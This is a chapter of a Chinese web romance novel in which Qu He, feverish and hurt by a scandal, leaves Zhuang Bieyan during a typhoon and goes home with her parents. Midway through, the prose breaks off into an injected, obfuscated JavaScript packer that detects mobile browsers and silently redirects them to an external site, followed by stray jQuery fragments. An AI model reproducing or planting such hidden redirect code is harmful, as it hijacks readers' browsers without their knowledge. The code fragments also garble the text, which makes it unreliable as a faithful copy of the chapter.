第153章 别让我恨你
作品:《暗恋十年,庄先生他藏不住了》 曲荷坐在回白玉湾的网约车上。
在看到燕舒发来的那张照片后,手机又突然跳出很多微博艾特提醒。
她点进去,就看到了微博上的热搜。
在那群网友眼里,她就是一个出轨的小三和可怜的白月光替身。
当时,她唯一的念头,就是离开。
立刻,马上。
台风天的网约车很少,曲荷等了好久,翻了两倍价格才打到一辆车。
司机是个五十岁大叔,看到后座脸色惨白,失魂落魄的曲荷,好心问了句,“姑娘,这台风天还出去啊?大半夜的,家里人不担心啊?”
家里人。
看着大叔和善的眉眼,曲荷恍惚间像是看到了父母的影子。
压抑了一晚上的情绪,愤怒,委屈,绝望,在这一刻决堤。
眼泪很不争气地流了出来。
最开始还是默默流泪,后来控制不住,哭到肩膀都发颤,整个人一抽一抽的。
从开保险箱开始,她就一直很平静,用麻木武装自己,甚至骗过了自己的情绪。
可现在因为陌生人的一句不经意的关心,彻底崩溃了。
她哭得不能自已,眼泪鼻涕糊了一脸。
司机透过后视镜看着,叹了口气。
也是见多了这样的场景,什么也没问,整包纸往后递,用着过来人的语气安慰着,“姑娘,别哭了。”
曲荷哽咽着接过纸。
刚准备道谢,就听到他冷漠无情又说了句,“要是哭吐了,加两百。”
曲荷:“....”
她的哭声顿住了,抽噎着抬头,泪眼模糊看着后视镜。
大叔嘴角却带着几分笑意。
曲荷接过纸,瓮声瓮气说,“两百就两百,这包纸我也买了。”
她胡乱擦着眼泪,但心里那些委屈却散了不少。
车子停在白玉湾门口。
曲荷打开手机正准备给司机转钱,就看到他摆了摆手,“算了小姑娘,哪能真收你两百啊?刚才逗你呢,早点回家,别淋着雨。”
说完,他油门一踩走了,尾灯在雨幕里闪了两下,很快消失在夜色里。
曲荷站在原地,风里带着雨丝,直直往脸上打。
比刀还锋利,生疼。
曲荷冒雨跑进小区。
看着熟悉的大门。
忽然想起搬家前,她还和庄别宴说,如果有一天他做了什么对不起她的事情,她就会藏到一个谁都找不到的地方。
而那时他还说不会有这个机会。
没想到还是应验了搬家前那句话,如今,她还是逃回了这里,像个失败者。
一切好像又回到了原点。
白玉湾的房子庄别宴一直都有派人定时打扫。
房间整洁,却格外空旷。
手机上庄别宴的电话又跳了出来,还夹杂几个骚扰来电,她索性直接关机。
台风来了,窗外的香樟树被吹得歪歪斜斜,曲荷把湿透的外套扔在沙发上。
刚坐下,手机又震动起来,庄别宴的名字在上面亮着。
她没接,直接按了关机键。
她知道,以庄别宴的能力,用不了多久就能找到这里。
但她真的累了。
曲荷窝着沙发上。
从前她一个人在这里住了这么久,都没觉得孤独,这次却感受到了。
她意识到了可怕的事情,离开庄别宴,居然会让她觉得不习惯。
这种依赖,比背叛更让她感到恐惧。
情绪大起大落,加上淋了雨,她感到一阵头晕目眩。
她去卫生间想洗把脸冷静一下,在照镜子的时候终于发现了自己的狼狈。
眼睛哭得红肿,额头湿漉漉的,分不清是雨水还是冷汗,脸颊还泛着红晕。
这时,门口突然传来动静。
曲荷以为是幻听。
可这次敲门声越来越响。
是庄别宴吗?
她不想开门。
但敲门声越来越急促,“曲荷,曲荷!”
这声音?
怎么好像听到了连主任的声音?
她关掉水龙头往门口走,声音越来越近,越来越熟悉。
打开门。
门口连主任敲门的手刚举到一半。
旁边是拿着伞的曲家封,肩头被雨水打湿大半。
两人看到曲荷,眼眶瞬间红了,满是心疼。
“妈,爸?你们怎么来了?”
曲荷难以置信,连自己都没发觉眼泪已经不受控制流了出来。
连鞠萍看着曲荷这幅样子,眼泪也落了下来。
她拉住曲荷的手,帮她擦着怎么也止不住的眼泪,“不哭,跟爸妈回家。”
曲荷一直强撑的坚强彻底碎了。
话一句都说不出来,喉咙被东西堵住了一样,发烫似的。
她扑到连鞠萍怀里,发泄似的哭,一遍遍重复着,“妈,我要回家,我要回家。”
连鞠萍紧紧抱着女儿,眼泪也止不住流,“好,好,爸妈带你回家,咱们回家。天塌下来,有爸妈在。”
哪怕过了很多年后,曲荷仍然无法想象。
在那个台风天里,曲家封和连鞠萍是如何顶着**,将原本需要三个多小时的车程,硬生生压缩到两个多小时,从渔家渡一路赶到白玉湾的。
她只知道,在那个台风天,在她世界崩塌无处可去的时候,亲情,先一步毫不犹豫地挡在了她面前。
曲荷又发烧了,38.4度。
连鞠萍心疼坏了。
她简单陪着曲荷收拾了一下,三人下楼准备离开。
可刚出单元楼,就遇上了庄别宴。
他浑身湿透,是从未有过的狼狈,平日里一向沉稳冷静的男人,此刻眼里满是焦急和慌乱。
只有在看到曲荷的时候,他眼里才突然亮了一下,迈步上前。
可曲荷就和没看到他似的,径直从他旁边走过。
曲家封见状直接拦在庄别宴面前。
他平日里是一个文质彬彬的音乐老师,现在却像只护崽的老兽。
他带着为人父的保护欲,压抑着怒火,“庄总!庄先生!我女儿受了那么大委屈,现在我们要带她回家,请您让开。”
庄别宴的目光越过他,远远看着曲荷。
尽管夜色深沉,但他还是看到了她红肿的眼睛和颤抖的肩膀。
她,又哭了吗?
庄别宴心痛得一绞一绞的,几乎喘不过气。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465364|184256||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他放低姿态哀求,“爸,您让我和阿荷说句话,好不好?让我和她解释...”
曲家封态度坚决,没让开,“我不是你爸,没什么好解释的,请您让开!”
他一声声疏离的“您”,“庄总”,“庄先生”,像刀割在庄别宴心上。
眼看着曲荷被连鞠萍扶着,马上就要坐进曲家封的黑色大众里。
庄别宴顾不得其他,直接跑过去。
“阿荷,给我一个解释的机会!你看到了书房保险柜里的东西了是吗?那些画,那只燕子都和燕舒没关系,那都是...”
“我不想知道。”曲荷背对着他。
她轻飘飘地打断了他的话。
没有愤怒,没有质问,只有冷漠。
可这却比任何斥责都让庄别宴恐慌。
他上前一步,急切的想去拉她的手。
“庄先生,请您自重。”连鞠萍一把拍开他的手,把曲荷护在后面。
“妈..”庄别宴一脸无助。
连鞠萍没有看他,揽着曲荷的肩膀,带她坐进车后座。
庄别宴看着她坐进后座,车门慢慢关闭,感觉自己的世界也在闭合。
他嘴唇颤抖着,“阿荷,别走...”
曲荷背僵了一瞬,她降下车窗看着他。
这一眼,没有了往日的依赖和温情,只剩下深深的倦怠,“庄别宴,你走吧,我们都冷静一下。”
庄别宴几乎就要站不住。
狂风卷起他的西装下摆,这位在北城商界永远沉稳如山的男人,此刻居然脆弱得好像被风轻轻一吹就能倒下。
他卑微乞求,嘴唇颤抖着,“为什么?阿荷,你不要我了吗?”
曲荷深深看了他一眼,一字一顿,“庄别宴,放手吧,别让我恨你。”
庄别宴整个人往旁边倒了一下,像是被击垮了,一个字都说不出来。
连鞠萍不忍再看,关上车窗,把他的哀求隔绝在外。
曲家封已经绕到驾驶座。
庄别宴反应过来赶紧上前,挡住车门。
“爸妈,阿荷,台风天你们回渔家渡太危险了,你们先在白玉湾住下,再过几天回去好不好?”
他说这句话的时候,眼睛始终没离开曲荷的脸,“阿荷,就几天好不好?给我一个机会,就一个机会...”
他哀求着,祈祷着。
但这一次,神明没有站在他背后。
曲荷没看他,始终垂眼。
就在庄别宴几乎要燃起希望的时候,她慢慢抬头。
曲荷顿了顿,轻轻开口,“我要回家。”
回那个有爸爸妈妈在,永远不会欺骗伤害她的家。
“好!”
庄别宴心疼得要碎了。
他不能再阻拦。
“好。”他重复着,声音沙哑,“那我派车,在后面护着你们,保证你们安全。”
曲荷什么也没说,高烧让她头疼得不行,连争辩的力气都没有。
她直接扭头靠在了连鞠萍怀里。
黑色大众慢慢离开。
庄别宴站在原地,看着车子消失在雨幕中。
他给庄留月发了条消息后,回头坐进迈巴赫里,紧紧跟在了黑色大众后面。